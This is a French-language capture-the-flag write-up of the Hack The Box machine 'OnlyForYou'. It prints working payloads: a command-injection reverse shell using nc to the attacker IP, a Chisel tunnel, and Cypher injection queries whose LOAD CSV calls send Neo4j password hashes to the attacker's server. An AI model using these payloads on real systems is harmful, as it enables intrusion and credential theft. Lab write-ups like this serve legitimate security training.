HTB - OnlyForYou

#Htb   #Onlyforyou   #Neo4j   #Lfi   #Sqli   #Chisel  

OnlyForYou une box medium que j’ai bien aimé, avec de la reconnaissance qui nous conduit à une appli en beta vulnérable à une LFI nous permettant d’accéder au code de l’appli principale qui va permettre une RCE et nous donner un shell. Ensuite, il fallait pivoter pour pouvoir reprendre la reconnaissance et exploiter les vulns sur les applis n’écoutant qu’en local. S’en suivra une SQLi qui nous donne un mot de passe utilisateur. Pour le flag root, ce sera via PIP qu’on y aura accès.

En bref

Parce qu’un petit dessin vaut mieux qu’un long discours, ci-après le chemin critique suivi :

0 - Reco

Scans

[x6r3g@e14 ~]$ nmap -p- --min-rate=1000 10.10.11.210
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-11 20:08 CEST
Nmap scan report for 10.10.11.210
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.12 seconds
[x6r3g@e14 ~]$ nmap -sCV -p 22,80 10.10.11.210
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-11 20:09 CEST
Nmap scan report for 10.10.11.210
Host is up (0.035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
|_  256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds
[x6r3g@e14 ~]$ echo -n '10.10.11.210 only4you.htb ' >> /etc/hosts

only4you.htb

site vitrine, à priori rien d’interressant dans la source html.

Gobuster pour directories

Sub directory, rien

[x6r3g@e14 ~]$ gobuster dir -w `fzf-wordlists` -u http://only4you.htb/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://only4you.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/08/11 20:21:30 Starting gobuster in directory enumeration mode
===============================================================
Progress: 92726 / 220561 (42.04%)^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2023/08/11 20:29:09 Finished
===============================================================

ffuf pour sous domaines

On trouve le sous-domaine beta

[x6r3g@e14 ~]$ wfuzz -u http://10.10.11.210 -H "Host: FUZZ.only4you.htb" -w `fzf-wordlists` --hh 178
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.210/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000033:   200        51 L     145 W      2190 Ch     "beta"

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0

Ajout du nouveau nom à mon /etc/hosts

[x6r3g@e14 ~]$ echo -n 'beta.only4you.htb ' >> /etc/hosts

beta.only4you.htb

Gobuster pour directories

[x6r3g@e14 ~]$ gobuster dir -w `fzf-wordlists` -u http://beta.only4you.htb/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://beta.only4you.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/08/11 20:47:43 Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 405) [Size: 683]
/list                 (Status: 200) [Size: 5934]
/source               (Status: 200) [Size: 12127]
/convert              (Status: 200) [Size: 2760]
/resize               (Status: 200) [Size: 2984]
Progress: 76167 / 220561 (34.53%)^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2023/08/11 20:53:58 Finished
===============================================================

Je passe en revue les différentes pages.

/

/resize

test avec un png le resize ne fait rien, ça redirige vers la même page test avec un jpeg, ça check la taille, doit faire plus que 700x700

/convert

le convert télécharge une image modifiée, plus petite que l’originale et converti le png en jpeg.

[x6r3g@e14 ~]$ exiftool x6r3g.png
ExifTool Version Number         : 12.16
File Name                       : x6r3g.png
File Size                       : 32 KiB
File Modification Date/Time     : 2021:11:27 16:04:38+01:00
File Access Date/Time           : 2023:08:11 20:36:34+02:00
File Inode Change Date/Time     : 2023:08:11 20:36:49+02:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 973
Image Height                    : 561
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Pixels Per Unit X               : 3780
Pixels Per Unit Y               : 3780
Pixel Units                     : meters
Image Size                      : 973x561
Megapixels                      : 0.546
[x6r3g@e14 ~]$ file x6r3g.jpg
x6r3g.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 973x561, components 3
exegol-htb Downloads # exiftool x6r3g.jpg
ExifTool Version Number         : 12.16
File Name                       : x6r3g.jpg
Directory                       : .
File Size                       : 18 KiB
File Modification Date/Time     : 2023:08:11 20:39:04+02:00
File Access Date/Time           : 2023:08:11 20:39:04+02:00
File Inode Change Date/Time     : 2023:08:11 20:39:04+02:00
File Permissions                : rw-rw----
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 973
Image Height                    : 561
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 973x561
Megapixels                      : 0.546

Rien d’interressant sur le composant qui agit sur l’image.

/list

permet de lister les différentes résolution dispo 100x100 à 700X700 click bouton redirige avec un POST sur /download

/download

si le fichier existe devrait télécharger mais rien ne se passe

Le point de terminaison accepte la méthode POST avec comme paramètre image=YYYxZZZ.png

POST /download HTTP/1.1
Host: beta.only4you.htb
Content-Length: 17
Content-Type: application/x-www-form-urlencoded
Referer: http://beta.only4you.htb/list
Accept-Encoding: gzip, deflate
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZGFuZ2VyIiwiSW1hZ2UgZG9lc24ndCBleGlzdCEiXX1dfQ.ZNaFKA.HVFAgLyRguVRAarNlIKub_UjbYA

image=200x200.png

Peut-être une sqli ou lfi sur ce param, à voir.

/source

permet de télécharger un zip avec les sources du projet.

[x6r3g@e14 ~]$ unzip source.zip
[x6r3g@e14 ~]$ tree beta
beta
├── app.py
├── static
│   └── img
│       └── image-resize.svg
├── templates
│   ├── 400.html
│   ├── 404.html
│   ├── 405.html
│   ├── 500.html
│   ├── convert.html
│   ├── index.html
│   ├── list.html
│   └── resize.html
├── tool.py
└── uploads
    ├── convert
    ├── list
    └── resize

7 directories, 11 files

1 - LFI/R

L’analyse du code va nous amener sur sune LFI permettant de lire les fichiers sur le serveur.

beta : analyse du code

il y a un check sur le début du param

...
@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
...

Je teste différents bypass, chgt encodage, double encodage,… finalement juste /etc/passwd et ça passe…

lfr

Donc on va avoir un utilisateur john, du mysql et du neo4j.

exploration

La LFI ne nous donne rien de plus sur l’application beta , on a déjà accès aux sources d’ailleurs.

2 - RCE

Le site principal respecte la même structure avec un app.py à la racine et fait référence à form.py concernant la partie formulaire de contact et envoi de mail.

form.py

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status

je creuse la piste de la commande dig

test du formulaire

la requête sous-jacente

POST / HTTP/1.1
Host: only4you.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

name=x6r3g&email=x6r3g%40example.com&subject=test&message=test

D’après le code ça fait un dig txt sur le domaine, voyons comment l’exploiter en ajoutant un pipe suivi d’un curl vers ma machine voir si ça arrive.

Modification de la requête et rejeu

La requête arrive, on a notre RCE

[x6r3g@e14 ~]$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.210 - - [12/Aug/2023 20:30:10] "GET / HTTP/1.1" 200 -

3 - Reverse shell

Maintenant qu’on a une RCE, essayons d’obtenir un shell pour aller plus loin,

Toujours relou l’encodage d’un revshell via http…remplacer “espace” par “+”, “;” par “%3b”, une “&” par “%26”, etc…

Dans Burp, il y a un raccourci pour ça : <ctrl+u> pour encoder la selection active.

POST / HTTP/1.1
Host: only4you.htb
Origin: http://only4you.htb
Content-Type: application/x-www-form-urlencoded

name=x6r3g&email=x6r3g%40example.com|rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|bash+-i+2>%261|nc+10.10.16.69+4444+>/tmp/f&subject=test&message=test

Commande CURL

curl -i -s -k -X $'POST' -H $'Host: only4you.htb' --data-binary $'name=x6r3g&email=x6r3g%40example.com|rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|bash+-i+2>%261|nc+10.10.16.69+4444+>/tmp/f&subject=test&message=test' $'http://only4you.htb/'

ça mouline quelques instants et le shell arrive

[x6r3g@e14 ~]$ nc -lnvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.210.
Ncat: Connection from 10.10.11.210:42426.
bash: cannot set terminal process group (1014): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

galère upgrade shell dans exegol, à creuser. c’est la variable TERM en fait qui pose soucis, comme ça ça marche bien

[www-data@only4you:~/only4you.htb]$ script /dev/null -c /bin/bash
# OU
[www-data@only4you:~/only4you.htb]$ python3 -c 'import pty; pty.spawn("/bin/bash")'
[x6r3g@e14 ~]$ <CTRL + Z>
[x6r3g@e14 ~]$ stty raw -echo; fg
[1]  + 4806 continued  nc -lnvp 4444
                                    export TERM=xterm-256color <enter>
[www-data@only4you:~/only4you.htb]$ pw <tab>
pwck      pwconv    pwd       pwdx      pwunconv

4 - Pivoting

Avec un shell stable, reprise de la reconnaissance

[www-data@only4you:~/only4you.htb]$ netstat -ntaupe
netstat -ntaupe
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        35221      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          37971      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      1001       39339      -
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      1001       39123      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      113        38292      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      113        39235      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      0          38937      1045/nginx: worker
tcp        0     16 10.10.11.210:48468      10.10.16.69:4444        ESTABLISHED 33         225364     12881/nc
tcp        0      1 10.10.11.210:54098      8.8.8.8:53              SYN_SENT    101        225542     -
tcp        0      0 10.10.11.210:45860      10.10.16.69:4444        CLOSE_WAIT  33         223097     12700/nc
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN      997        39870      -
tcp6       0      0 :::22                   :::*                    LISTEN      0          37979      -
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN      997        39861      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           101        35220      -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           0          34950      -
udp        0      0 127.0.0.1:36568         127.0.0.53:53           ESTABLISHED 102        225541     -

Tunnel inverse avec Chisel

Selon les ports en écoute et l’analyse des fichiers de logs on a bien quelques autres services ui tournent.

2023-04-18 07:45:46.616+0000 WARN  [o.n.k.i.c.VmPauseMonitorComponent] Detected VM stop-the-world pause: {pauseTime=410, gcTime=0, gcCount=0}
2023-04-18 07:45:47.050+0000 INFO  [o.n.s.CommunityNeoWebServer] Remote interface available at http://localhost:7474/
2023-04-18 07:45:47.050+0000 INFO  [o.n.s.A.ServerComponentsLifecycleAdapter] Web server started.

Pour pouvoir y accéder il est nécessaire de créer un tunnel avec chisel pour tout les ports en écoute soit 3000,3306,7474,7687,8001,33060

chisel serveur depuis ma machine

[x6r3g@e14 ~]$ chisel server -p 8000 --reverse &
[1] 9134
2023/08/13 10:46:48 server: Reverse tunnelling enabled
2023/08/13 10:46:48 server: Fingerprint i8yuEqqbnx8Ptpb+ezHInR9QVVrrWAhboMJsxMRfUhg=
2023/08/13 10:47:16 server: session#1: tun: proxy#R:3000=>3000: Listening
2023/08/13 10:47:16 server: session#1: tun: proxy#R:3306=>3306: Listening
2023/08/13 10:47:16 server: session#1: tun: proxy#R:7474=>7474: Listening
2023/08/13 10:47:16 server: session#1: tun: proxy#R:7687=>7687: Listening
2023/08/13 10:47:16 server: session#1: tun: proxy#R:8001=>8001: Listening
2023/08/13 10:47:16 server: session#1: tun: proxy#R:33060=>33060: Listening
2023/08/13 10:48:13 server: session#3: tun: proxy#R:13306=>3306: Listening

chisel client depuis le revshell

[www-data@only4you:~/only4you.htb]$ /tmp/chisel client 10.10.16.69:8000 R:3000:127.0.0.1:3000 R:3306:127.0.0.1:3306 R:7474:127.0.0.1:7474 R:7687:127.0.0.1:7687 R:8001:127.0.0.1:8001 R:33060:127.0.0.1:33060 &
[1] 8111

chisel résultat, mapping des ports

[x6r3g@e14 ~]$ netstat -ntaupe
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
tcp        0      0 127.0.0.1:55988         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:49978         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 10.10.16.69:4445        10.10.11.210:45730      ESTABLISHED 0          158765     8090/nc
tcp        0      0 127.0.0.1:54946         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:46866         127.0.0.1:3000          ESTABLISHED 0          159077     9160/nmap
tcp        0      0 127.0.0.1:41770         127.0.0.1:33060         TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:41974         127.0.0.1:3306          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:54956         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:46864         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:45594         127.0.0.1:7474          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:54918         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:38894         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 10.10.16.69:4444        10.10.11.210:43772      ESTABLISHED 0          152026     8031/nc
tcp        0      0 127.0.0.1:55978         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:52312         127.0.0.1:7687          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:49970         127.0.0.1:3000          TIME_WAIT   0          0          -
tcp        0      0 127.0.0.1:38910         127.0.0.1:3000          TIME_WAIT   0          0          -

Scans sur le localhost

Donc sur les différents ports on aurait :

[x6r3g@e14 ~]$ nmap -sCV -p 3000,3306,7474,7687,8001,33060 127.0.0.1
...
PORT      STATE SERVICE VERSION
3000/tcp  open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     ...
|   GetRequest:
|     HTTP/1.0 200 OK
|     ...
|     Set-Cookie: i_like_gogs=e97012115bd28406; Path=/; HttpOnly
|     ...
|     <meta name="author" content="Gogs" />
|     <meta name="description" content="Gogs is a painless self-hosted Git service" />
|     <meta name="keywords" content="go, git, self-hosted, gogs">
|    ...
|_    template: base/footer:15:47: executing "base/footer" at <.PageStartTime>: invalid value; expected time.Time
3306/tcp  open  mysql   MySQL 8.0.32-0ubuntu0.20.04.2
| mysql-info:
|   Protocol: 10
|   Version: 8.0.32-0ubuntu0.20.04.2
|   ...
| ssl-cert: Subject: commonName=MySQL_Server_8.0.31_Auto_Generated_Server_Certificate
| Not valid before: 2022-11-30T20:23:26
|_Not valid after:  2032-11-27T20:23:26
7474/tcp  open  neo4j?
| fingerprint-strings:
|   ...
|     "bolt_routing" : "neo4j://127.0.0.1:7687",
|     "transaction" : "http://127.0.0.1:7474/db/{databaseName}/tx",
|     "bolt_direct" : "bolt://127.0.0.1:7687",
|     "neo4j_version" : "5.6.0",
|     "neo4j_edition" : "community"
|   ...
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
7687/tcp  open  bolt?
8001/tcp  open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
| http-title: Login
|_Requested resource was /login
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     ...
|_    HY000

Neo4j sur 127.0.0.1:7474

test identifiants par défaut neo4j / neo4j => NOK

il s’agit de la version 5.4.0 du 11/01/2023 donc pas trop récente non plus mais je ne trouve rien de probant dans les CVE ou les releases suivantes.

Appli web sur 127.0.0.1:8001

tests identifiants de base. admin / admin => ok

Dans les tasks on voit que la base neo4j à été migrée, dans les logs debug je cherche une info version mais rien

cette appli utilise neo4j comme db, test requêtes

la requête sous-jacente

curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8001' -b $'session=94b45d3d-be69-440b-a79d-c66865df1d87' --data-binary $'search=Sa' $'http://127.0.0.1:8001/search'

5 - SQLi

Une recherche google “sqlmap neo4j”, le premier résultat amène sur un tool cyphermap et sur la partie cypher-injection-neo4j de la base de connaissance HackTricks.

Cyphermap

[x6r3g@e14 ~]$ python3 cyphermap.py -h
Cypher Mapping Tool by sectroyer v0.4
usage: cyphermap.py [-h] -u URL [-d DATA] [-c COOKIE] [-s STRING] [-t TIMEOUT] [-D DOMAIN] [-L] [-P PROPERTIES] [-K KEYS]
Tool for mapping cypher databases (for example neo4j)
optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target URL
  -d DATA, --data DATA  POST data
  -c COOKIE, --cookie COOKIE
                        Request cookie
  -s STRING, --string STRING
                        Blind string
  -t TIMEOUT, --timeout TIMEOUT
                        Connection timeout
  -D DOMAIN, --domain DOMAIN
                        timeout domain to use. Default: .test.com
  -L, --labels          Dump labels
  -P PROPERTIES, --properties PROPERTIES
                        Dump properties for label
  -K KEYS, --keys KEYS  Dump keys for property

requête via burp, pour récupérer la session active puis, récupération des “labels”, ça marche bien on a en retour les labels user et employee

[x6r3g@e14 ~]$ python3 cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=Sa*" -c "session=540057a5-b367-4a0c-997e-cc29acd7561f;"  -s Sarah -L

Cypher Mapping Tool by sectroyer v0.4
Injection type: '
Dumping labels....
Number of labels found: 2
Size of label number 1/2: 4
Value of label number 1/2: user
Size of label number 2/2: 8
Value of label number 2/2: employee

Labels:
+----------+
| user     |
| employee |
+----------+

On continue en listant les propriétés des dits “labels”, donc password et username

[x6r3g@e14 ~]$ python3 cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=Sa*" -c "session=540057a5-b367-4a0c-997e-cc29acd7561f;"  -s Sarah -P user

Cypher Mapping Tool by sectroyer v0.4

Injection type: '
Dumping properties for label: user...
Number of label 'user' properties: 2
Size of property number 1/2: 8
Value of property number 1/2: password
Size of property number 2/2: 8
Value of property number 2/2: username

Label: user

Properties:
+----------+
| user     |
+----------+
| password |
| username |
+----------+

Enfin, on récupère les keys des properties appartenants aux label user . C’est lent mais au bout de quelques minutes…on obtient les hash des password.

[x6r3g@e14 ~]$ python3 cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=Sa*" -c "session=540057a5-b367-4a0c-997e-cc29acd7561f;"  -s Sarah -P user -K username,password

Cypher Mapping Tool by sectroyer v0.4
Injection type: '
Dumping keys for property: username,password and label: user
Number of label 'user' and property 'username' keys: 2
Size of key number 1/2 of property 'username': 5
Value of key number 1/2: admin
Size of key number 2/2 of property 'username': 4
Value of key number 2/2: john
Number of label 'user' and property 'password' keys: 2
Size of key number 1/2 of property 'password': 64
Value of key number 1/2: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Size of key number 2/2 of property 'password': 64
Value of key number 2/2: a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6

Label: user
Property: username,password
Keys:
+----------+------------------------------------------------------------------+
| username | password                                                         |
+----------+------------------------------------------------------------------+
| admin    | 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 |
| john     | a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 |
+----------+------------------------------------------------------------------+

On connaissait déjà le mot de passe d’ admin car on est connecté avec, crackstation a les deux mais surtout celui de john :

HackTricks

Autre méthode cette fois avec un serveur en local qui catch les requêtes avec les infos dedans.

Check avec la version neo4j du serveur

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.69:8443/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

Curl commande

curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8001' -b $'session=540057a5-b367-4a0c-997e-cc29acd7561f' \
    --data-binary $'search=%27+OR+1%3D1+WITH+1+as+a++CALL+dbms.components%28%29+YIELD+name%2C+versions%2C+edition+UNWIND+versions+as+version+LOAD+CSV+FROM+%27http%3A%2F%2F10.10.16.69%3A8443%2F%3Fversion%3D%27+%2B+version+%2B+%27%26name%3D%27+%2B+name+%2B+%27%26edition%3D%27+%2B+edition+as+l+RETURN+0+as+_0+%2F%2F' \
    $'http://127.0.0.1:8001/search'

ça marche et dans la requête on obtient les informations (version neo4j)

[x6r3g@e14 ~]$ python3 -m http.server 8443
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
10.10.11.210 - - [13/Aug/2023 11:32:16] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [13/Aug/2023 11:32:16] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -

Plus on voit qu’on peut extraire les hash des mots de passe !

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.10.16.69:8443/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //  

marche pas APOC n’a pas l’air dispo, les logs debug ne monternt pas le module d’ailleurs….

On liste les tables (labels)

' OR 1=1 WITH 1 as a  CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.69:8443/?l='+label as l RETURN 0 as _0 //

Resultat : user et employee

[x6r3g@e14 ~]$ python3 -m http.server 8443
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
10.10.11.210 - - [13/Aug/2023 12:01:27] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:27] "GET /?l=employee HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:28] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:28] "GET /?l=employee HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:28] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:28] "GET /?l=employee HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:29] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:29] "GET /?l=employee HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:29] "GET /?l=user HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 12:01:29] "GET /?l=employee HTTP/1.1" 200 -

Donc on cherche à voir les propriété des utilisateurs, on adapte la requête donnée en exemple ( Flag -> user)

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.69:8443/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

Resultat, on obtient les hash des mots de passe de admin et john

[x6r3g@e14 ~]$ python3 -m http.server 8443
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
10.10.11.210 - - [13/Aug/2023 11:50:47] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:47] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:47] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:47] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:48] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:48] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:48] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:48] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:49] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:49] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:49] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:49] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:50] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:50] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:50] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:50] "GET /?username=john HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:51] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [13/Aug/2023 11:50:51] "GET /?username=admin HTTP/1.1" 200 -
